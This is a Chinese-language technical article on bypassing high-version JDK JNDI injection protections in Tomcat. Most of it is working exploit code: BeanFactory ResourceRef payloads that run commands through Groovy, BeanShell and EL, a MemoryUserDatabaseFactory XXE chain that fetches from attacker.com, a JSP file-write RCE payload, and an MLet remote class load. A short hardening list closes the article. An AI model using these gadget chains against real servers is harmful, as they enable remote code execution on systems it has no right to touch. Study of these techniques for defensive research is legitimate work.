Tomcat下JNDI高版本绕过浅析
字数 1879 2025-08-29 08:31:35
Tomcat下JNDI高版本绕过技术分析与利用指南
一、背景与概述
在Log4j漏洞事件后,JNDI注入漏洞利用研究成为热点。高版本JDK对JNDI注入进行了防护限制,本文深入分析Tomcat环境下绕过这些限制的技术方法。
二、JNDI高版本防护机制
高版本JDK主要防护机制:
- 限制远程ObjectFactory的加载
- 仅当开启特定属性时才允许从远程地址获取ObjectFactory
- 加载顺序:先本地ClassPath → 失败后才加载远程
关键代码逻辑:
static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName) {
// 首先加载当前环境下ClassPath下的ObjectFactory
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// 当前ClassPath加载失败才会加载classFactoryLocation中指定地址的ObjectFactory
if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) {
clas = helper.loadClass(factoryName, codebase);
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
三、绕过思路与技术实现
1. 核心绕过思路
寻找javax.naming.spi.ObjectFactory接口的实现类,利用其getObjectInstance方法执行恶意操作。在Tomcat中,BeanFactory#getObjectInstance提供了扩展利用面。
调用限制条件:
- 类必须包含public无参构造方法
- 调用的方法必须是public方法
- 方法只能有一个String类型参数
2. 常规绕过方法
(1) 直接命令执行方式
| 类与方法 | 说明 | 适用环境 |
|---|---|---|
javax.el.ELProcessor#eval |
执行EL表达式 | Tomcat8+ |
groovy.lang.GroovyShell#evaluate |
执行Groovy命令 | 需Groovy环境 |
org.mvel2.MVEL#eval |
执行MVEL表达式 | MVEL 2.0.17及以下 |
org.mvel2.sh.ShellSession#exec |
间接调用MVEL | MVEL高版本 |
bsh.Interpreter#eval |
执行BeanShell命令 | 需BeanShell环境 |
(2) 反序列化利用方式
| 类与方法 | 说明 | 依赖组件 |
|---|---|---|
com.thoughtworks.xstream.XStream#fromXML |
XStream反序列化 | XStream |
org.yaml.snakeyaml.Yaml#load |
Yaml反序列化 | SnakeYAML |
(3) 其他利用方式
| 类与方法 | 说明 | 限制条件 |
|---|---|---|
com.sun.glass.utils.NativeLibLoader#loadLibrary |
加载DLL | 需提前上传DLL |
org.apache.catalina.users.MemoryUserDatabaseFactory |
XXE+文件写入 | Tomcat特定版本 |
3. 关键利用链分析
(1) MVEL调用链挖掘
CodeQL分析过程:
/**
* @name Tainttrack Context lookup
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph
class MVEL extends RefType{
MVEL(){
this.hasQualifiedName("org.mvel2", "MVEL")
}
}
class CallEval extends Method {
CallEval(){
this.getNumberOfParameters() = 1 and
this.getParameter(0).getType() instanceof TypeString
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="eval" and
ma.getMethod().getDeclaringType() instanceof MVEL and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() { this = "TainttrackLookup" }
override predicate isSource(DataFlow::Node source) {
exists(CallEval evalMethod |
source.asParameter() = evalMethod.getAnUntrustedParameter()
)
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg | isEval(arg) and sink.asExpr() = arg )
}
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System") and
ma.getMethod().hasName("arraycopy") and
fromNode.asExpr()=ma.getArgument(0) and
ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command") and
ma2.getMethod().hasName("execute") and
toNode.asExpr()=ma2.getArgument(1)
)
}
}
(2) GroovyClassLoader利用
直接执行Groovy代码:
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null,
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x", script));
(3) BeanShell利用
ResourceRef ref = new ResourceRef("bsh.Interpreter", null,
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=eval"));
ref.add(new StringRefAddr("a", "exec(\"cmd.exe /c calc.exe\")"));
return ref;
4. MemoryUserDatabaseFactory利用链
(1) XXE漏洞利用
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://attacker.com/malicious.xml"));
ref.add(new StringRefAddr("readonly", "false"));
(2) 文件写入RCE
Tomcat7利用:
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec(\"calc.exe\")%>"/>
</tomcat-users>
利用代码:
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
四、BeanFactory多方法调用机制
1. 调用流程分析
- 从Reference对象获取类名并实例化(仅一次)
- 从forceString属性获取方法列表(逗号分隔)
- 遍历方法列表,解析方法名(支持
method=alias格式) - 通过反射获取Method对象并存入Map
- 遍历Reference属性,动态调用对应方法
2. 多方法调用示例
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null,
true, "org.apache.naming.factory.BeanFactory", null);
// 指定要调用的方法名及别名
ref.add(new StringRefAddr("forceString", "b=addURL,c=loadClass"));
// 为不同方法赋值
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "ExploitClass"));
五、防御建议
- 升级JDK到最新版本
- 限制JNDI查找能力
- 对Tomcat等中间件进行安全加固
- 监控可疑的JNDI查找行为
- 移除不必要的ObjectFactory实现类
六、总结
本文详细分析了Tomcat环境下JNDI高版本绕过的多种技术方案,重点包括:
- 通过本地ClassPath中的ObjectFactory实现类绕过
- 利用BeanFactory的多方法调用机制
- 多种命令执行方式(EL、Groovy、MVEL、BeanShell)
- 反序列化漏洞间接利用(XStream、SnakeYAML)
- MemoryUserDatabaseFactory的XXE和文件写入利用
这些技术方案为安全研究人员提供了绕过高版本JDK限制的有效途径,同时也强调了系统加固的重要性。